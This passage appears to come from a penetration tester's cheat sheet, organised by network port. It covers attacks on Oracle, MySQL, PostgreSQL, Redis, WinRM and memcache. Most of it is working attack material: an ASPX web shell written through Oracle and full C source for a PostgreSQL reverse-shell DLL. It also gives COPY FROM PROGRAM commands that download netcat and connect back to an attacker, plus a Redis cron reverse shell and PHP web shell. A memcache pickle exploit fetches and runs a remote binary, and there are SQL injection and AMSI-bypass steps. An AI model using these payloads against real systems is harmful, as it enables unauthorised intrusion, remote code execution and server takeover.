      f := utl_file.fopen('/inetpub/wwwroot', '<file to write>', 'W');
      utl_file.put_line(f,s);
      utl_file.fclose(f);
      end;
       
                                      
      Run last procedure /
      View output set serveroutput ON
    • Generating shell for Oracle
      • 1024 character max
      • aspx for Windows
      • Must all be on one line
        • sed -z 's/\n//g' <file>
      • aspx web shell example:
      • 
        declare
        f utl_file.file_type;
        s varchar(5000) := '<%@ Page Language="C#" Debug="true" Trace="false" %><%@ Import Namespace="System.Diagnostics" %><%@ Import Namespace="System.IO" %><script Language="c#" runat="server">void Page_Load(object sender, EventArgs e){}string ExcuteCmd(string arg){ProcessStartInfo psi = new ProcessStartInfo();psi.FileName = "cmd.exe";psi.Arguments = "/c "+arg;psi.RedirectStandardOutput = true;psi.UseShellExecute = false;Process p = Process.Start(psi);StreamReader stmrdr = p.StandardOutput;string s = stmrdr.ReadToEnd();stmrdr.Close();return s;}void cmdExe_Click(object sender, System.EventArgs e){Response.Write("<pre>");Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));Response.Write("</pre>");}</script><HTML><body ><form id="cmd" method="post" runat="server"><asp:TextBox id="txtArg" runat="server" Width="250px"></asp:TextBox><asp:Button id="testing" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button><asp:Label id="lblText" runat="server">Command:</asp:Label></form></body></HTML>';
        begin
        f := utl_file.fopen('/inetpub/wwwroot', 'shell.aspx', 'W');
        utl_file.put_line(f,s);
        utl_file.fclose(f);
        end;
                

      2049 TCP / mountd (NFS)

    • sudo apt install nfs-common
    • Show paths that can be mounted and who can mount them showmount -e <ip address>
      Show client IP's using the mount showmount -a <ip address>
      mount an NFS path mount -t nfs <ip address>:<nfs share> <local directory to mount to - Example: /mnt/>

      3000 TCP / Express.js Node

    • hadoop
      • Big data storage solution
      • Data analytics & Data science

      3268 TCP / LDAP

    • LDAP connection to Global Catalog instead of the local DC which port 389 will return information for.
    • LDAP requests sent to port 3268 can be used to search for objects in the entire forest.
    • Only the attributes marked for replication to the global catalog can be returned.

    • 3269 TCP / LDAPS

    • LDAP connection to Global Catalog over SSL.

    • 3306 TCP / MySql

    • Connect to a mysql database
      • impacket-mssqlclient username:password@ip.address
      • mysql --host=<ip address> --port=<port> --user=<username> -p<password (no space after -p)>
      • mysql -e <db command> -u <user> -p<pasword> [<database>]
    • User-Defined Functions (UDF)
      • Similar to a custom plugin for mysql
      • Allows administrators to create custom repeatable functions to accomplish specific objectives
      • Written in C or C++ and will run almost any code including system commands
      Show variables
    • Show variables;
      • Some possible interesting variabels
        • hostname
        • tmp directory
        • version
        • Architecture
        • plugin_dir
      Show user privileges SHOW grants;
      Show individual variable select @@<variable – ex. plugin_dir>;
      Show plugins directory show variables like '%plugin_dir%';
      Show databases use <database name>;
      Show MariaDB version @@version
      Show the user being used to make queries user()
      Retrieve database information like table and column names. A lot of information about default objects. id=1 union all select #(1),of(2),columns(3), table_name from information_schema.tables
      Output all columns from a specified table column_name from information_schema.columns where table_name='TableName'
      Select username and password columns from TableName Select username, password from TableName
      Show all columns and records in the users table select * from users;
      Show username field from the users table and only show records with an id of 1. SELECT username FROM users WHERE id=1;
      Load data from file into a table LOAD DATA LOCAL INFILE '/var/www/html/index.php' INTO TABLE <table name> FIELDS TERMINATED BY "\n"
      Change cell contents UPDATE <Table> SET <Column>='<Value>' WHERE <Column>='<Value>';
      Create Database Create Database <Database Name>;
      Insert row into table INSERT INTO <table name>(<column 1>, <column 2>) VALUES ('<value 1>', '<value 2>')-- -
      Create user create user '<username>'@'<host>' IDENTIFIED BY '<password?>';
      Give all permissions to user GRANT ALL on <database>.* TO '<user>'@'<host>';
      String delimiter. Can use to check for SQL injection vulnerabilities '
      Comment marker. Removes the statement after it from the query. #
      Limit the number of records that a query pulls LIMIT <number>
      Set binary variable set @<variable name> = 0x<binary/hex code>
      Output binary variable to file select binary @<binary variable> into dumpfile '/home/directory/to/put/file/something.so';
      Information about tables and databases information_schema.tables
      Check table/column collation setting SELECT COLLATION_NAME FROM information_schema.columns WHERE TABLE_NAME = "<table name>" AND COLUMN_NAME = "<column name>"
      Select information from table/column while specifying collation SELECT <column name> COLLATE <collation value> FROM <table name>
    • Good resource: https://www.w3schools.com/sql/

    • 3389 TCP / RDP

      Set scaling to full screen at 150% resolution rdesktop -g 100%@150

      3690 TCP / SVN

      list svn contents svn list svn://<ip address>
      create local copy of respository svn checkout svn://<ip address>
      Log history svn log
      View/walk revisions svn up -<revision from log>

      5432 TCP Postgresql

    • Default credentials are
      • Username: postgres
      • Password: postgres
        • Sometimes no password?
    • Typical reverse shell privileges
      • NT AUTHORITY/NETWORK SERVICE (low priv)
      • Linux - postgres (low priv)
      • Mac - user that installed postgres (usually an admin)
    • Tools
      • psql
    • Quote Alternatives / Quote filter bypass
      • $$content$$
      • $TAG$content$TAG$
      • CHR(#)
    • Blind Injection
    • Check if superuser select case when (select current_setting($$is_superuser$$))=$$on$$ then pg_sleep(10) end;
      Get the first letter of the contents of file on remote system
    • create table <table name> (content text);
    • copy <table name> from $$c:\awae.txt.txt$$;
    • select case when(ascii(substr((select content from <table name>),1,1))=104) then pg_sleep(10) end;
  • Commands
  • connect to databse psql -h <ip address> -U <username>
    List databases \list
    use databases \c <db>
    List tables \d
    Get user roles \du+
    Check if DBA / superuser
  • SELECT current_setting('is_superuser);
    • If superuser then get a reverse shell. Read and write to/from system files.
    • If not superuser then only get information from database
    Browse system files select pg_ls_dir('./');
    select pg_ls_dir('/etc/passwd');
    Copy files contents to a table
  • create table <table name> (data TEXT);
  • Copy <table name> from '<file to copy>';
  • select * from <table name>;
  • Copy files contents to a table #2
  • CREATE temp table <table name> (content text);
  • COPY <table name> from $$<file to copy>$$;
  • SELECT content from <table name>;
  • DROP table <table name>;
  • Copy table contents to file
  • create table <table name> (data TEXT);
  • Copy <table name> to '<file to copy>';
  • select * from <table name>;
  • Write text to file Copy (SELECT $$<text>$$) to '<file to copy>';
    base64 decode and write to file copy (SELECT (decode($$dGVzdGluZzEyMw==$$, $$base64$$))) to $$C:\test.txt$$
    url decode and base64 decode and write to file copy (SELECT convert_from(decode($$dGVzdGlvbmcxMjM%3D$$, $$base64$$),$$utf-8$$)) to $$C:\test.txt$$
    Transfer binary to system using large object
    Create a large object from an arbritrary file on disk select lo_import('C:\\Windows\\win.ini', <id>);
    Update page 0 of the new large object with the first 2kb of data of malicious binary/dll
    Add additional pages to large object to hold the rest of the data for the binary
    Export the large object / dll to the file system
    Create UDF to execute the DLL
    Execute the DLL
    Delete large object from database
    List large objects \lo_list
    Delete large object \lo_unlink <obj ID>
  • Code Execution - malicious extension
    • Create malicious extension
    • Create the function
    • create or replace function <function name>(<args>) returns void as $$C:\extension.dll$$, $$<function name, defined in code>$$ language C strict;
      • Use network path (i.e. \\<ip address>\share\extension.dll to load an extension remotely
      Execute function SELECT test(<function args>);
    • Example Extension
      • Execute executable, # of times
      • function("<executable>, # of times to execute)
      • create or replace function test(text, integer) returns void as $$C:\extension.dll$$, $$awae$$ language C strict;
      #include "postgres.h"
      #include <string.h>
      #include "fmgr.h"
      #include "utils/geo_decls.h"
      #include <stdio.h>
      #include "utils/builtins.h"
      
      #ifdef PG_MODULE_MAGIC
      PG_MODULE_MAGIC;
      #endif
      
      /* Add a prototype marked PGDLLEXPORT */
      PGDLLEXPORT Datum awae(PG_FUNCTION_ARGS);
      PG_FUNCTION_INFO_V1(awae);
      
      /* this function launches the executable passed in as the first parameter
      in a FOR loop bound by the second parameter that is also passed*/
      Datum
      awae(PG_FUNCTION_ARGS)
      {
      	/* convert text pointer to C string */
      #define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
      
      	/* retrieve the second argument that is passed to the function (an integer)
      	that will serve as our counter limit*/
      
      	int instances = PG_GETARG_INT32(1);
      
      	for (int c = 0; c < instances; c++) {
      		/*launch the process passed in the first parameter*/
      		ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
      	}
      	PG_RETURN_VOID();
      }
    • Reverse Shell Extension
      • create or replace function rev(text,integer) returns void as $$postgres_rev_shell.dll$$, $$connect_back$$ language C strict;
      • SELECT rev($$<ip address>$$,<port>);
      • Pre-compiled: https://github.com/Pusher91/useful_stuff/blob/main/postgres_rev_shell.dll
      • #define _WINSOCK_DEPRECATED_NO_WARNINGS
        #include "postgres.h"
        #include <string.h>
        #include "fmgr.h"
        #include "utils/geo_decls.h"
        #include <stdio.h>
        #include <winsock2.h>
        #include "utils/builtins.h"
        #pragma comment(lib, "ws2_32")
        
        #ifdef PG_MODULE_MAGIC
        PG_MODULE_MAGIC;
        #endif
        
        /* Add a prototype marked PGDLLEXPORT */
        PGDLLEXPORT Datum connect_back(PG_FUNCTION_ARGS);
        PG_FUNCTION_INFO_V1(connect_back);
        
        WSADATA wsaData;
        SOCKET s1;
        struct sockaddr_in hax;
        char ip_addr[16];
        STARTUPINFO sui;
        PROCESS_INFORMATION pi;
        
        Datum
        connect_back(PG_FUNCTION_ARGS)
        {
        
        	/* convert C string to text pointer */
        #define GET_TEXT(cstrp) \
            DatumGetTextP(DirectFunctionCall1(textin, CStringGetDatum(cstrp)))
        
        	/* convert text pointer to C string */
        #define GET_STR(textp) \
            DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
        
        	WSAStartup(MAKEWORD(2, 2), &wsaData);
        	s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
        
        	hax.sin_family = AF_INET;
        	hax.sin_port = htons(PG_GETARG_INT32(1));
        	hax.sin_addr.s_addr = inet_addr(GET_STR(PG_GETARG_TEXT_P(0)));
        
        	WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
        
        	memset(&sui, 0, sizeof(sui));
        	sui.cb = sizeof(sui);
        	sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
        	sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)s1;
        
        	CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
        	PG_RETURN_VOID();
        }
    • How to delete extension and recreate, if a mistake is made
    • Stop the applications manager service net stop "Applications Manager"
      Delete the .dll / extension del C:\extension.dll
      Start applications manager net start "Applications Manager"
      Delete the function DROP FUNCTION test(text, integer);
  • RCE - cmd_exec
  • Drop table DROP TABLE IF EXISTS cmd_exec;
    Create table CREATE TABLE cmd_exec(cmd_output text);
    Setup command COPY cmd_exec FROM PROGRAM 'id'
    COPY cmd_exec FROM PROGRAM 'wget http://<ip address>/nc';
    COPY cmd_exec FROM PROGRAM 'nc -n <ip address> <rev shell port> -e /usr/bin/bash';
    Remove command DELETE FROM cmd_exec;
    Execute command SELECT * FROM cmd_exec;

    5985 TCP / Microsoft HTTPAPI


    5985 TCP / WinRM

  • Windows remote management
    • Can log into a remote shell using user credentials
      • Only users part of groups that have rights to this are allowed to login this way
  • Tools
    • Evil-WinRM
      • https://github.com/Hackplayers/evil-winrm
      Usage evil-winrm -I <ip address> -u <username> -p <password>
      Show menu menu
      Invoke-Binary Invoke-Binary <.exe on local machine>
      Bypass AMSI Bypass-4MSI
      Connect with SSL cert evil-winrm -i <ip address> -u <user> -p <password> -k <private key> -c <signed key/certificate> -S

    6379 TCP / redis

  • Key store / value storage
  • RCE Methods:
    • Create php web shell
    • If able to upload files (not using redis) to victim, upload module for RCE
    • =<5.0.5(?) clone-master RCE
    • Create SSH key on victim
    • Create malicious cronjob
  • Tools
    • redis-cli
    • Get redis info / test if authentication is require
      • By default redis does not require credentials
      • Redis can be configured to require only a password or username + password
        • If only the passsword is set, then the username is "default"
        • There is no way to know externally if password or password & username are set.
        • redis.conf is the configuration file. requirepass and masteruser are the username and password settings
      info
      Login with credentials AUTH <password>
      AUTH <username> <password>
      Get configuration file contents CONFIG GET *
      Show connected clients CLIENT LIST
      Show keys keys *
      Get keys from database SELECT <db # under "# Keyspace" in info><br>KEYS *<br>GET <Key>
      Web shell RCE config set dir <web server root directory>
      config set dbfilename shell.php
      set test " <?php system($_REQUEST['cmd'] ?>"
      save
      Upload SSH Key
      
                          import public key to redis:
                          (echo -e "\n\n"; cat ./.ssh/id_rsa.pub; echo -e "\n\n") > foo.txt
                          cat foo.txt | redis-cli -h <ip addres> -x set crackit
                          config set dir <writable home directory>
                          config set dbfilename
                          "authorized_keys"
                          save
                          
      Reverse shell through cronjobs
    • redis-cli -h <ip address> flushall
    • echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/<ip address>/<port> 0>&1\n\n"|redis-cli -h <ip address> -x set 1
    • redis-cli -h <ip address> config set dir /var/spool/cron/
    • redis-cli -h <ip address> config set dbfilename root
    • redis-cli -h <ip address> save
    • Code Execution using a module
    • Create module - https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
    • Using redis-cli: MODULE LOAD <path to module>
      • /tmp directory did not work when attempted. /home/user directory did work.
    • Execute commands
      • sys.exec "whoami"
      • sys.rev <ip address> <port>

    6667 TCP / irc

  • Tools
    • hexchat
      • gui irc client

    6697 TCP / irc

  • Incoming IRC connections encrypted via TLS/SSL

  • 27017 TCP / mongodb

    Connect to db mongo -u <username> -p <password> <database>
    show collections (mongodb version of mysql tables) show collections
    search for objects in a collection db.<collection>.find()
    add command/object to collection db.tasks.insert({"cmd":"<bash command>"})

    11211 TCP / memcache

  • Caches information for websites that use databases in order to speed up performance.

  • Connect with:
    • nc
    • telnet
  • memcache commands
  • Get version version
    Get status stats
    Get slabs stats slabs
    Retrieve cached items list / slab items with info stats items
  • View cachedump of key retrieved from "stats items"
    • STAT items:<#>:age 75, etc
    • 0 at the end for dumping unlimited lines
    stats cachedump <#> 0
  • RCE - python pickling
    • pip install pymemcache
    • Generate malicious pickled python object to poison memcached object
      • Script:
      • 
        import pickle
        import os
        import sys
        from pymemcache.client import base
        class RCE:
            def __reduce__(self):
                cmd = ('wget http://{}:5000/shell -O /tmp/shell && chmod 777 /tmp/shell && /tmp/shell'.format(sys.argv[1]))
                return os.system, (cmd,)
        if __name__ == '__main__':
            client = base.Client((sys.argv[2], 11211))
            client.set(sys.argv[3], pickle.dumps(RCE()))                
                    
    • python exploit.py <attacker ip> <memcache server ip> <session:<value>>
      • <session:<value>> comes from authenticated session cookie dumped from memcache server
        • This cookie can also stored in browser storage